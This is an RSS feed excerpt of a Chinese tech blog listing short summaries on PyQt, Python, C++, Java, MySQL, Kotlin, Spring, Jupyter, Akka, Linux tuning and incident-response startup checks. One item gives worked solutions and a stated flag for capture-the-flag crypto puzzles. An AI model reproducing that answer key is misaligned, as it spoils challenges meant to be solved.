      <description> 目录&#xA;QPushButton使用setStyleSheet设置背景图片&#xA;和css一样设置setStyleSheet&#xA;转载：pyqt5实现按钮添加背景图片以及背景图片的切换&#xA;QPushButton使用setStyleSheet设置背景图片 具体设置背景图片的方法有两种：&#xA;self.button.setStyleSheet(&#34;QPushButton{background-image: url(img/1.png)}&#34;) 然而对于这种方法背景图片无法进行边框的自适应，可以使用下面的方法&#xA;self.button.setStyleSheet(&#34;QPushButton{border-image: url(img/1.png)}&#34;) 可以做到自适应边框&#xA;和css一样设置setStyleSheet self.button.setStyleSheet(&#34;QPushButton{border-image: url(img/1.png)}&#34; &#34;QPushButton:hover{border-image: url(img/1_1.png)}&#34; &#34;QPushButton:pressed{border-image: url(img/1_1.png)}&#34;) 具体实现了按钮背景图片，以及鼠标划过按钮的背景切换，以及按下按钮的背景切换。&#xA;然而在按下按钮，我需要直接进行图片切换，且不回到原来的背景上。&#xA;self.button.clicked.connect(self.button_change) def button_change(self): # 切换图标变亮 self.button.setStyleSheet(&#39;QPushButton{border-image:url(img/1_1.png)}&#39;) </description>
    </item>
    <item>
      <title>实验吧</title>
      <link>https://bchobby.github.io/posts/7b62e9229f891adb1357eb203662ea84/</link>
      <pubDate>Sun, 24 Feb 2019 13:23:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b62e9229f891adb1357eb203662ea84/</guid>
      <description>1.变异凯撒 把flag转化为ascii码，加密密文转化为ascii码， 因为是凯撒加密，所以思考移动的位数，分别是加了5，6，7，8.。。。&#xA;所以移动的位次是从5递加&#xA;得到结果&#xA;ascii码值转化，得到flag，&#xA;flag{Caesar_variation}。&#xA;2.奇怪的短信 根据题目提示，是奇怪的短信，然后一串不长的阿拉伯数字，把手机键盘调出来，然后拼音9键，例如33，第一个3代表数字，第二个3代表3所对应的字母，依次找出来即可。&#xA;3.围在栏杆中的爱 首先摩斯密码解密后&#xA;提交不正确，根据提示QWE和ABC，考虑替代密码。&#xA;置换对应关系如下：&#xA;a b c d e f g h i j k l m n o p q r s t u v w x y z&#xA;q w e r t y u i o p a s d f g h j k l z x c v b n m&#xA;得到另一密码：rhasbenvaoylii&#xA;解密&#xA;倒叙后得到flag.&#xA;4. 疑惑的汉字 当铺密码：</description>
    </item>
    <item>
      <title>Python中如何控制warning信息在控制台的显示</title>
      <link>https://bchobby.github.io/posts/2306ac1a6683618b0b3aeb35833325f3/</link>
      <pubDate>Sun, 24 Feb 2019 12:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2306ac1a6683618b0b3aeb35833325f3/</guid>
      <description>在运行代码时，有时候会出现一些warning信息，如果代码是在跑循环的话，则会在控制台打印多次warning信息，这会使得warning信息占满整个控制台，失去了有效的历史记录。对于这种情况，python有一个标准模块warnings，可以利用这个模块对warning信息进行过滤和处理，使得其不再一直打印，如下代码所示，其作用是让各种不同的warning信息分别只打印一次。&#xA;import warnings warnings.filterwarnings(action=&#39;once&#39;) 对于action参数的具体说明，可以看下图，读者可以给参数赋不同的值实现不同的功能。更详细的说明可看这里。</description>
    </item>
    <item>
      <title>GraphViz&#39;s executables not found报错解决方案</title>
      <link>https://bchobby.github.io/posts/d04c63f3d65891d9bcac6deecc4264f6/</link>
      <pubDate>Sat, 23 Feb 2019 11:47:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d04c63f3d65891d9bcac6deecc4264f6/</guid>
      <description>通过pip安装graphviz模块后，进行sklearn的决策树文档操作输出决策树模型结果时报错，报错内容为：GraphViz’s executables not found。&#xA;通过了解得知：graphviz是属于一个独立的软件，需要到官网下载安装包解压，将bin的路径添加到环境变量。&#xA;下载网址链接：https://graphviz.gitlab.io/_pages/Download/Download_windows.html&#xA;添加环境变量方法：&#xA;1、定位到高级系统设置：&#xA;2、定位‘环境变量’&#xA;3、点击‘新建’，将bin的路径复制进去&#xA;将路径添加到环境变量后还是报错，于是在代码块运行以下语句，不在报错：</description>
    </item>
    <item>
      <title>卡尔曼滤波算法目标跟踪</title>
      <link>https://bchobby.github.io/posts/77e22033115f1457482ca8722411eed6/</link>
      <pubDate>Fri, 22 Feb 2019 21:13:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77e22033115f1457482ca8722411eed6/</guid>
      <description>卡尔曼滤波算法是一种基于最小均方误差的最优线性递归滤波方法，以状态方程和观测方程为基础，运用递归方法来预测线性系统变化。&#xA;状态方程(1)和观测方程(2)如下：&#xA;X(k)是k时刻的状态向量，A是状态系统矩阵，ξ是状态系统噪声；&#xA;Z(k)是k时刻的观测向量，H是观测系统矩阵，η是观测系统噪声；&#xA;系统噪声假设为不相关的零均值的高斯白噪声，ξ，η协方差分别为Q、R。&#xA;卡尔曼滤波可概述为状态预测过程(3-4)和状态修正过程(5-7)&#xA;状态预测方程：&#xA;误差协方差预测方程：&#xA;卡尔曼滤波增益：&#xA;状态修正方程：&#xA;修正误差协方差矩阵：&#xA;状态预测方程以状态方程为基础，求状态预测向量和误差协方差预测向量&#xA;状态修正方程以观测方程为基础，修正状态预测向量，得到向量并通过计算求出最小误差协方差矩阵。&#xA;我们首先设定初始参数，读取视频序列。然后进行背景估计，产生初始化背景图像。然后依次读取视频序列，利用Kalman滤波算法，根据上一帧估计的背景和当前帧数据得到当前帧的前景目标。然后对前景目标进行连通计算，检测出运动目标。最后保存运动目标位置坐标，作为接下来训练神经网络的输入。</description>
    </item>
    <item>
      <title>C&#43;&#43; 中max()与max_element()的区别</title>
      <link>https://bchobby.github.io/posts/c716818e7f9d35978b1a6fc96b485a87/</link>
      <pubDate>Fri, 22 Feb 2019 19:48:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c716818e7f9d35978b1a6fc96b485a87/</guid>
      <description> max与max_element简析 max(a,b)，返回a,b两者之间的较大值&#xA;max_element(r, r+6),返回数组r中[0, 6)之间的最大值的迭代器，&#xA;使用max_element返回的值减去数组头地址即为该最大值在数组的序号&#xA;min 和 min_element的区别同上，看到下面的例子你就会明白了&#xA;程序代码 #include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; int main(void) { int a[6] = {5, 3, 2, 6, 1, 4}; int b = a[0]; int c = a[1]; cout&amp;lt;&amp;lt;max(b, c)&amp;lt;&amp;lt;&#34; &#34;&amp;lt;&amp;lt;min(b,c)&amp;lt;&amp;lt;endl; //输出为5 3 cout&amp;lt;&amp;lt;max_element(a, a+6) - a&amp;lt;&amp;lt;endl;// 输出为3 cout&amp;lt;&amp;lt;*max_element(a, a+6)&amp;lt;&amp;lt;endl;//输出为 6 cout&amp;lt;&amp;lt;min_element(a, a+6) - a&amp;lt;&amp;lt;endl;// 输出为4 cout&amp;lt;&amp;lt;*min_element(a, a+6)&amp;lt;&amp;lt;endl;&#x9;//输出为1 return 0; } 运行截图 </description>
    </item>
    <item>
      <title>【应急基础】————2、开机启动项</title>
      <link>https://bchobby.github.io/posts/bc488faace2ffc11bfebb31134d0998d/</link>
      <pubDate>Fri, 22 Feb 2019 16:28:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc488faace2ffc11bfebb31134d0998d/</guid>
      <description>在应急响应时，开机启动项是必查的项，下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。&#xA;RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd&#xA;CentOS 5 启动流程如下：&#xA;1）加载BIOS的硬件信息与进行自我测试，并依据设置取得第一个可启动设备； 2）读取并执行第一个启动设备内MBR（主引导分区）的Boot Loader（即是gurb等程序）； 3）依据Boot Loader的设置加载Kernel，Kernel会开始检测硬件与加载驱动程序； 4）在硬件驱动成功后，Kernel会主动调用init进程（/sbin/init），init的配置文件/etc/inittab； 5）init执行/etc/rc.d/rc.sysinit文件来准备软件的操作环境（如网络、时区等）； 6）init执行runlevel的各个服务的启动（script方式）； 7）init执行/etc/rc.d/rc.local文件； 8）init执行终端机模拟程序mingetty来启动login程序，最后等待用户登录。 init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别，执行系统初始化脚本（/etc/rc.d/rc.sysinit）,启动相应运行级别下的服务和启动终端。&#xA;[root@jianshe_28 admin]# cat /etc/inittab # # inittab This file describes how the INIT process should set up # the system in a certain run-level. # # Author: Miquel van Smoorenburg, &amp;lt;miquels@drinkel.nl.mugnet.org&amp;gt; # Modified for RHS Linux by Marc Ewing and Donnie Barnes # # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:3:initdefault: # System initialization.</description>
    </item>
    <item>
      <title>解决Source Not Found问题</title>
      <link>https://bchobby.github.io/posts/002235dea11c35a971572f53120118a5/</link>
      <pubDate>Fri, 22 Feb 2019 16:27:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/002235dea11c35a971572f53120118a5/</guid>
      <description> 在eclipse里查看一些jar下的class文件，有时却会显示Source Not Found。 遵循以下操作即可解决： 1.从windows选项下选择”perferences”。 2.在”perferences”对话框下选择java-&amp;gt;Installed JREs 。 3.选中”jre7”并点击右侧”Edit”。 4.在”Edit JRE”对话框中找到对应的jar，例如rt.jar，点击展开选择”Source Attachment”。 5.在”Source Attachment”对话框下，选择”External location”，路径设为JDK根目录，源文件就是该路径下的src.zip。 </description>
    </item>
    <item>
      <title>输出字母三角形</title>
      <link>https://bchobby.github.io/posts/34b2f72cd38f8c4e21d4f73fb7bfb1ea/</link>
      <pubDate>Fri, 22 Feb 2019 15:36:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34b2f72cd38f8c4e21d4f73fb7bfb1ea/</guid>
      <description> 按照题目输出三角形&#xA;输入 ：2&#xA;输出&#xA;A&#xA;BBB&#xA;输入： 3&#xA;输出&#xA;A&#xA;BBB&#xA;CCCCC&#xA;import java.util.Scanner; public class L1 { public static void main(String[] args) { // TODO Auto-generated method stub Scanner sc=new Scanner(System.in); int n=sc.nextInt(); for(int i=1;i&amp;lt;=n;i++) { String s=&#34;&#34;; for(int j=i;j&amp;lt;n;j++) { s=s+&#34; &#34;; } System.out.print(s); for(int j=0;j&amp;lt;2*i-1;j++) { char c=(char) (&#39;A&#39;+i-1); System.out.print(c); } System.out.println(s); } } } </description>
    </item>
    <item>
      <title>Mysql Truncated incorrect time value</title>
      <link>https://bchobby.github.io/posts/4101596facb0c93f1df808098b9b12b4/</link>
      <pubDate>Fri, 22 Feb 2019 11:46:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4101596facb0c93f1df808098b9b12b4/</guid>
      <description>Mysql Truncated incorrect time value 发现一个mysql的问题,当我们做数据定时更新操作的时候，比如说定时作废48小时内未付款的订单的时候，如果用到mysql TIMEDIFF(var1,var2)函数&#xA;例如：UPDATE justice_user_customer SET STATUS=0 WHERE TIMEDIFF(SYSDATE(),update_time)&amp;gt;=&#39;48:00:00&#39;&#xA;这个sql一开始没有问题，完全正常，但是某一天会突然报错，会出现Truncated incorrect time value: &#39;1000:59:44&#39; 这样奇怪的错误，根本原因是这个函数是算两个日期的时间差，但是他的取值最大只到838:59:59(不到35天)&#xA;所以会出现这样一个现象，一开始执行成功的sql，到了某一天不知不觉的报错了！&#xA;为了防止出现这样的错误，改用如下sql&#xA;UPDATE justice_user_customer SET STATUS=0 WHERE UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(update_time)&amp;gt;172800（2天）&#xA;--摘录官方文档函数的解释&#xA;timediff(expr1,expr2)&#xA;timediff() returns expr1 – expr2 expressed as a time value. expr1 and expr2 are time or date-and-time expressions, but both must be of the same type. unix_timestamp(), unix_timestamp(date)&#xA;if called with no argument, returns a unix timestamp (seconds since &#39;1970-01-01 00:00:00&#39; utc) as an unsigned integer.</description>
    </item>
    <item>
      <title>new本质（原理），手写实现一个 new</title>
      <link>https://bchobby.github.io/posts/74baa194c04b5adb05639529c79111f2/</link>
      <pubDate>Fri, 22 Feb 2019 10:17:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74baa194c04b5adb05639529c79111f2/</guid>
      <description>灵魂两问：&#xA;new 的原理是什么？通过 new 的方式创建对象和通过字面量创建有什么区别？ 生成对象方式&#xA;let a = {age: 1}; console.log(a.age) // 1 function Bar() { this.age = 1; } let b = new Bar(); console.log(typeof a) // object console.log(b.age) // 1 在调用 new 的过程中会发生以下四件事（摘自JavaScript高级程序设计，2019-07-22）：&#xA;新生成一个对象将构造函数的作用域赋值给新对象（即绑定新对象的 this）执行构造函数中的代码（即为这个新对象添加属性）返回新对象 构造一个最简单版 new：&#xA;function _new() { // 创建一个新对象 let newObj = {}; // 获取构造函数 let Constructor = Array.prototype.shift.call(arguments); // 连接新对象原型，新对象可以访问原型中的属性 newObj.__proto__ = Constructor.prototype; // 执行构造函数，即绑定 this，并且为这个新对象添加属性 Constructor.apply(newObj, arguments); // 返回该对象 return newObj; } 其实，对于创建一个对象来说，都是通过 new 产生的，字面量创建一个对象本质是通过 new Object()，而且更推荐这种方式创建对象。因为使用构造函数的方式创建对象需要通过作用域链一层层找到 Object。</description>
    </item>
    <item>
      <title>unity  Hololens入门之凝视</title>
      <link>https://bchobby.github.io/posts/06048fc87e51773cf498fd6c1cfaf67c/</link>
      <pubDate>Thu, 21 Feb 2019 16:10:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06048fc87e51773cf498fd6c1cfaf67c/</guid>
      <description>本篇为接上一篇对于HoloLens入门教程的深入研究&#xA;https://blog.csdn.net/gaofei12300/article/details/87712223&#xA;本篇主要是讲一下关于HoloLens视线触发，有点类似与制作cardboard小圆点的功能，可以用于触发一些事件的发生。&#xA;首先需要创建一个小圆点，可以创建一个球体，用于当作小圆点，缩小为0.1左右吧，根据自己的需要做调试。&#xA;下面贴出相关代码。将写好的脚本挂在你创建的球上即可。&#xA;有任何问题直接留言，看到会回复。 可以添加unity交流QQ群 207019099 备注“Hololens”。&#xA;public MeshRenderer meshRender; public Camera mainCamera; // Start is called before the first frame update void Start() { meshRender = gameObject.GetComponentInChildren&amp;lt;MeshRenderer&amp;gt;(); mainCamera = Camera.main; } // Update is called once per frame void Update() { Vector3 headPosition = mainCamera.transform.position; //视角 Vector3 gazeDicection = mainCamera.transform.forward; RaycastHit hit; if (Physics.Raycast(headPosition, gazeDicection, out hit)) { meshRender.enabled = true; transform.position = hit.point; transform.rotation = Quaternion.</description>
    </item>
    <item>
      <title>Kotlin -特殊用法详解</title>
      <link>https://bchobby.github.io/posts/a565e0f922f31bec7f2ae0515ccbfdec/</link>
      <pubDate>Thu, 21 Feb 2019 15:54:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a565e0f922f31bec7f2ae0515ccbfdec/</guid>
      <description>本文适合已经了解Kotlin基本用法,想更加深入的使用Kotlin方法和性能的同学们&#xA;如果你是Kotlin小白,可以先了解一下Kotlin的基础用法&#xA;Kotlin-中文官网基础用法&#xA;解构声明 我们在一个文件中定义一个Person类&#xA;data class Person(val name: String, val age: Int) 我们可以通过简单的语法获得这个类的name和age属性&#xA;val (name, age) = Person(&#34;tom&#34;, 11) println(name) println(age) 上面的Person是数据类（data class）当我们定义一个普通的类,不能简单的通过下面的方法获取name和age的值&#xA;class Dog(val name: String, val age: Int) val (nameDog, ageDog) = Dog(&#34;James&#34;, 5) 为什么数据类可以，普通类就不可以呢？ 因为数据类帮我们实现了解构声明需要的componentN方法这个N可以是1或者2等.&#xA;标准库中的let, takeIf, takeUnless，apply, also，with，run方法 let let方法接收一个参数，参数是个方法。这个方法的名字叫block。let接收的方法是一个穿入值是T类型返回值是R类型的方法。并且我们知道这个方法的反回值就是整个let方法的返回值。绕口，见谅&#xA;// Java if (message != null) { System.out.println(message) } // Kotlin 如果message是null下面这行忽略 message?.let { println(it) } takeIf 定义&#xA;/** * Returns `this` value if it satisfies the given [predicate] or `null`, if it doesn&#39;t.</description>
    </item>
    <item>
      <title>linux关于listen监听队列长度修改</title>
      <link>https://bchobby.github.io/posts/150a8733a4552427543110569ec84fb3/</link>
      <pubDate>Thu, 21 Feb 2019 15:43:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/150a8733a4552427543110569ec84fb3/</guid>
      <description>需要修改somaxconn&#xA;linux内核参数默认值一般是128，对于负载很大的服务程序来说大大的不够。一般会将它修改为2048或者更大。&#xA;echo 2048 &amp;gt; /proc/sys/net/core/somaxconn 但是这样系统重启后保存不了&#xA;在/etc/sysctl.conf中添加如下&#xA;net.core.somaxconn = 2048&#xA;然后在终端中执行&#xA;sysctl -p</description>
    </item>
    <item>
      <title>SpringBoot 实战 (十) | 声明式事务</title>
      <link>https://bchobby.github.io/posts/2fd685ea6b547e3490365db4b7a677d7/</link>
      <pubDate>Thu, 21 Feb 2019 13:31:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fd685ea6b547e3490365db4b7a677d7/</guid>
      <description>微信公众号：一个优秀的废人 如有问题或建议，请后台留言，我会尽力解决你的问题。&#xA;前言 如题，今天介绍 SpringBoot 的 声明式事务。&#xA;Spring 的事务机制 所有的数据访问技术都有事务处理机制，这些技术提供了 API 用于开启事务、提交事务来完成数据操作，或者在发生错误时回滚数据。&#xA;而 Spring 的事务机制是用统一的机制来处理不同数据访问技术的事务处理，Spring 的事务机制提供了一个 PlatformTransactionManager 接口，不同的数据访问技术的事务使用不同的接口实现，如下表：&#xA;数据访问技术实现JDBCDataSourceTransactionManagerJPAJPATransactionManagerHibernateHibernateTransactionManagerJDOJdoTransactionManager分布式事务JtaTransactionManager 声明式事务 Spring 支持声明式事务，即使用注解来选择需要使用事务的方法，他使用 @Transactional 注解在方法上表明该方法需要事务支持。被注解的方法在被调用时，Spring 开启一个新的事务，当方法无异常运行结束后，Spring 会提交这个事务。如：&#xA;@Transactional public void saveStudent(Student student){ // 数据库操作 } 复制代码 注意，@Transactional 注解来自于 org.springframework.transcation.annotation 包，而不是 javax.transaction。&#xA;Spring 提供一个 @EnableTranscationManagement 注解在配置类上来开启声明式事务的支持。使用了 @EnableTranscationManagement 后，Spring 容器会自动扫描注解 @Transactional 的方法与类。@EnableTranscationManagement 的使用方式如下：&#xA;@Configuration @EnableTranscationManagement public class AppConfig{ } 复制代码 注解事务行为 @Transactional 有如下表所示的属性来定制事务行为。&#xA;属性含义propagation事务传播行为isolation事务隔离级别readOnly事务的读写性，boolean型timeout超时时间，int型，以秒为单位。rollbackFor一组异常类，遇到时回滚。（rollbackFor={SQLException.class}）rollbackForCalssName一组异常类名，遇到回滚，类型为 string[]noRollbackFor一组异常类，遇到不回滚norollbackForCalssName一组异常类名，遇到时不回滚。 类级别使用 @Transactional @Transactional 不仅可以注解在方法上，还可以注解在类上。注解在类上时意味着此类的所有 public 方法都是开启事务的。如果类级别和方法级别同时使用了 @Transactional 注解，则使用在类级别的注解会重载方法级别的注解。</description>
    </item>
    <item>
      <title>Python编辑器之jupyter使用介绍（基本功能）</title>
      <link>https://bchobby.github.io/posts/2a74de45beeacbb068830b027f0ea28a/</link>
      <pubDate>Thu, 21 Feb 2019 11:44:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a74de45beeacbb068830b027f0ea28a/</guid>
      <description>一、熟悉Python数据分析的工具 1、了解数据分析常用工具 目前主流的数据分析语言有Python、R、Matlab三种程序语言。其中Python具有丰富和强大的库。它常被昵称为胶水语言，能够把用其他语言制作的各种模块（尤其是C／C++）很轻松地联结在一起，是一门更易学，更严谨的程序设计语言。R语言则是用于统计分析，绘图的语言和操作环境，它是属于GNU系统的一个自由、免费、源代码开放的软件。MATLAB主要是进行矩阵运算、绘制函数与数据、实现算法、创建用户界面、连接其他编程语言的程序等，主要应用于工程计算、控制设计、信号处理与通讯、图像处理、信号检测、金融建模设计与分析等领域。&#xA;2、了解Python数据分析的优势 不同数据分析工具对比，可以发现Python是一门应用十分广泛的计算机语言，在数据科学领域具有无可比拟的优势。Python正在逐渐成为数据科学领域的主流语言。Python数据分析主要包含以下5个方面优势。&#xA;语法简单精炼，对于初学者来说，比起其他编程语言，Python更容易上手。 有很强大的库，结合在编程方面的强大实力，可以只使用Python这一种语言去构建以数据为中心的应用程序。功能强大。从特性观点来看，Python是一个混合体。丰富的工具集使它介于传统的脚本语言和系统语言之间。Python不仅具备所有脚本语言简单和易用的特点，还提供了在编译语言中的高级软件工程工具。不仅适用于研究和原型构建，同时也适用于构建生产系统。研究人员和工程技术人员使用同一种编程工具将会给企业带来非常显著的组织效益，并降低企业的运营成本。Python是一门胶水语言。Python程序能够以多种方式轻易地与其他语言的组件“粘接”在一起。例如，Python的C语言API可以帮助Python程序灵活地调用C程序。这意味着用户可以根据需要给Python程序添加功能，或者在其他环境系统中使用Python。 二、掌握Jupyter Notebook常用功能 1、掌握Jupyter Notebook的基本功能 （1）启动Jupyter Notebook&#xA;在安装完成Python，配置好环境变量并安装了Jupyter Notebook后，在Windows系统下的命令行，或者Linux系统下的终端中输入命令“jupyter notebook”，即可启动Jupyter Notebook。&#xA;（2）新建一个Notebook&#xA;打开Jupyter Notebook以后会在系统默认浏览器中出现Jupyter Notebook主页。&#xA;单击右上方的“New”，可出现下拉菜单。&#xA;在下拉菜单中选择需要创建的Notebook类型。其中，“TextFile”为纯文本型，“Folder”为文件夹，“Python 3”表示Python运行脚本，灰色字体表示不可用项目。单击“Python 3”，进入Python脚本编辑状态界面。&#xA;（3）Jupyter Notebook的界面及其构成&#xA;Notebook文档是由一系列单元（Cell）构成，主要有两种形式的单元。&#xA;代码单元。这里是读者编写代码的地方，通过按“shift＋Enter”组合键运行代码，其结果显示在本单元下方。代码单元左边有“In [ ]：”编号，方便使用者查看代码的执行次序。&#xA;Markdown单元。在这里对文本进行编辑，采用Markdown的语法规范，可以设置文本格式，插入链接，图片甚至数学公式。同样按“shift＋Enter”组合键运行Markdown单元来显示格式化的文本。&#xA;Jupyter Notebook编辑界面类似于Linux的Vim编辑器，在Notebook中也有两种模式。&#xA;编辑模式。编辑文本和代码。选中单元并按“Enter”键进入编辑模式，此时单元左侧显示绿色竖线。&#xA;命令模式。用于执行键盘输入的快捷命令。通过“Esc”键进入命令模式，此时单元左侧显示蓝色竖线。&#xA;如果要使用快捷键，首先按“Esc”键进入命令模式，然后按相应的键实现对文档的操作。比如切换成代码单元“Y”或Markdown单元“M”键，或者在本单元的下方增加一单元“B”键，查看所有快捷命令可以按“H”键。&#xA;2、掌握Jupyter Notebook的高级功能 （1）Markdown&#xA;Markdown是一种可以使用普通文本编辑器编写的标记语言，通过简单的标记语法，它可以使普通文本内容具有一定的格式。Jupyter Notebook的Markdown单元功能相比基础的Markdown更加强大，下面将从数学公式编辑，标题，列表，字体，表格等5个方面进行介绍。&#xA;（a）标题的引用&#xA;标题是标明文章和作品等内容的简短语句，读者写报告或者写论文，标题的引用是不可或缺的，尤其论文的章节等需要使用不同级别的标题。Markdown作为一个的排版工具，一般使用类Atx形式，在首行前加1个“#”字符代表一级标题，前加2个“#”字符代表二级标题，以此类推。&#xA;（b）列表&#xA;列表是一种数据项构成的有限序列，即按照一定的线性顺序，排列而成的数据项的集合。列表一般被分为两种，一种是无序列表，使用一些图标标记，没有序号，没有顺序排列；另一种是有序列表，使用数字标记，有顺序排列。Markdown对于无序列表，使用星号，加号或者减号作为列表标记；Markdown对于有序列表则是使用数字＋“.”＋“ ”（1个空格）表示。&#xA;（c）加粗／斜体&#xA;文档中为了凸显部分内容，一般对文字使用加粗或斜体，使得该部分内容变得更加醒目。对于Markdown排版工具而言，通常使用星号“*”和底线“_”作为标记字词的符号。两个星号或底线包围表示被加粗，三个星号或底线包围表示斜体。&#xA;（d）表格&#xA;Markdown同样也可以绘制表格，代码的第一行表示表头，第二行分隔表头和主体部分，从第三行开始每一行代表一个表格行；列与列之间用管道符号“｜”隔开，原生方式的表格每一行的两边也要有管道符。&#xA;（e）数学公式编辑&#xA;LaTeX是写科研论文的必备工具，不但能实现严格的文档排版，而且能编辑复杂的数学公式。在Jupyter Notebook的Markdown单元中也可以使用LaTeX的语法来插入数学公式。在文本行中插入数学公式，使用两个“$”符号，比如质能方程“$E = mc^2$”。如果要插入一个数学区块，则使用两个“$$”符号。比如“$$ z = \frac{x}{y} $$”表示z=x/y。&#xA;在输入上述公式LaTeX表达式后运行结果。&#xA;（2）导出功能&#xA;Notebook还有一个强大的特性，就是其导出功能。可以将Notebook导出为多种格式。&#xA;如HTML，Markdown，ReST，PDF（通过LaTeX）和Raw Python等格式。其中导出PDF功能，可以让读者不用写LaTex即可创建漂亮的PDF文档。读者还可以将Notebook作为网页发布在自己的网站上。甚至，可以导出为ReST格式，作为软件库的文档。导出功能在左上方“File”下拉菜单的“Download as”的项目中。&#xA;文章未经博主同意，禁止转载！</description>
    </item>
    <item>
      <title>前端实现批量导出图片并打包压缩功能</title>
      <link>https://bchobby.github.io/posts/a31287ab62c5d05a1de1c08addc07fb5/</link>
      <pubDate>Thu, 21 Feb 2019 07:03:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a31287ab62c5d05a1de1c08addc07fb5/</guid>
      <description>需求 管理后台需要批量导出二维码图片&#xA;实现难点 选择相应的图片批量导出或直接批量导出并压缩在一个文件夹里&#xA;思路分析 1.先将选中二维码的地址存在一个数组中&#xA;2.依次请求图片并将其下载&#xA;3.后用jszip压缩文件&#xA;4.最后用file-saver生成文件&#xA;实现 实现的代码如下&#xA;import axios from &#39;axios&#39; import JSZip from &#39;jszip&#39; import FileSaver from &#39;file-saver&#39; getFile = (url) =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { axios({ method: &#39;get&#39;, url, responseType: &#39;arraybuffer&#39; }).then(data =&amp;gt; { resolve(data.data) }).catch(error =&amp;gt; { reject(error.toString()) }) }) }; } // 批量下载 handleBatchDownload = async(selectImgList) =&amp;gt; { const data = selectImgList; const zip = new JSZip() const cache = {} const promises = [] await data.</description>
    </item>
    <item>
      <title>akka介绍</title>
      <link>https://bchobby.github.io/posts/cbabf8fce001cc8f9a4071b93723e3db/</link>
      <pubDate>Wed, 20 Feb 2019 17:09:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbabf8fce001cc8f9a4071b93723e3db/</guid>
      <description>akka简介&#xA;一开始想接触到akka，是在看一些并发相关资料的时候，查了下akka的官方介绍，介绍如下：Akka是一个开发库和运行环境，可以用于构建高并发、分布式、可容错、事件驱动的基于JVM的应用，使构建高并发的分布式应用更加容易。&#xA;听到高并发和分布式这两个关键字就已经足够让人想去探索究竟是什么样的框架，当深入查看各种资料后，发现当前大数据领域火热的spark、flink底层的分布式计算和通信实现都是akka，是不是很意外。虽然它是由scala编写的，但也同时提供java api接口，所以使用java一样可以使用akka。&#xA;akka是基于actor模型的实现，actor模型也就是响应式模型，它和我们常用的基于方法堵塞式的调用不同，而是基于消息的异步调用。&#xA;在使用Java进行并发编程时需要特别的关注锁和内存原子性等一系列线程问题，而Actor模型内部的状态由它自己维护即它内部数据只能由它自己修改(通过消息传递来进行状态修改)，并且一次一次actor只能处理一条消息，这就相当于java里的一个单例对象的一个加了synchronized修饰符的方法的调用，但actor不同的是它通过从邮箱存储消息，然后消息的处理是按顺序的。如果要进行并行的消息处理，就需要创建多个actor，多个actor之间消息数据是并行的。&#xA;Actor由状态(state)、行为(Behavior)和邮箱(mailBox)三部分组成&#xA;状态(state)：Actor中的状态指的是Actor对象的变量信息，状态由Actor自己管理，避免了并发环境下的锁和内存原子性等问题&#xA;行为(Behavior)：行为指定的是Actor中计算逻辑，通过Actor接收到消息来改变Actor的状态&#xA;邮箱(mailBox)：邮箱是Actor和Actor之间的通信桥梁，邮箱内部通过FIFO消息队列来存储发送方Actor消息，接受方Actor从邮箱队列中获取消息&#xA;Actor的基础就是消息传递。如下图所示：&#xA;Akka的五大特性&#xA;1）易于构建并行和分布式应用 （Simple Concurrency &amp;amp; Distribution）&#xA;Akka在设计时采用了异步通讯和分布式架构，并对上层进行抽象，如Actors、Futures ，STM等。&#xA;2）可靠性（Resilient by Design）&#xA;系统具备自愈能力，在本地/远程都有监护。&#xA;3）高性能（High Performance）&#xA;在单机中每秒可发送50000000个消息。内存占用小，1GB内存中可保存2500000个actors。&#xA;4）弹性，无中心（Elastic — Decentralized）&#xA;自适应的负责均衡，路由，分区，配置&#xA;5）可扩展（Extensible）&#xA;可以使用Akka 扩展包进行扩展。&#xA;整个akka体系由如下几部分组成：&#xA;akka-actors akka的核心，一个用于并发和分发的模型，没有线程原语的所有痛苦 akka-stream 一种直观而安全的方式来实现异步、非阻塞的回压流处理。 akka-http 现代的、快速的、异步的、流的HTTP服务器和客户端。 akka-cluster 通过在多个节点上分布您的系统来获得弹性和弹性。 akka-sharding 根据用户的身份，在集群中分配您的参与者。 Distributed Data 最终一致，高度读取和写入可用，低延迟数据 Akka Persistence 为参与者的事件包允许他们在重新启动后到达相同的状态。 Akka Management 在云系统上运行Akka系统的扩展（k8s，aws，…） Alpakka Akka流连接器用于集成其他技术 简单入门使用案例： 首先maven的pom加入akka的依赖 &amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.typesafe.akka&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;akka-actor_2.12&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;2.5.3&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;创建actors 要创建actor需要继承AbstractActor 类并重写它的初始行为方法createReceive ，actor接收消息后会触发createReceive方法被调用，所以actor收到消息的处理动作主要在该方法。&#xA;createReceive 没有参数返回的结果是AbstractActor.Receive. 可以通过receiveBuilder()来接收消息以及它的类型，从而判断该如何处理消息。</description>
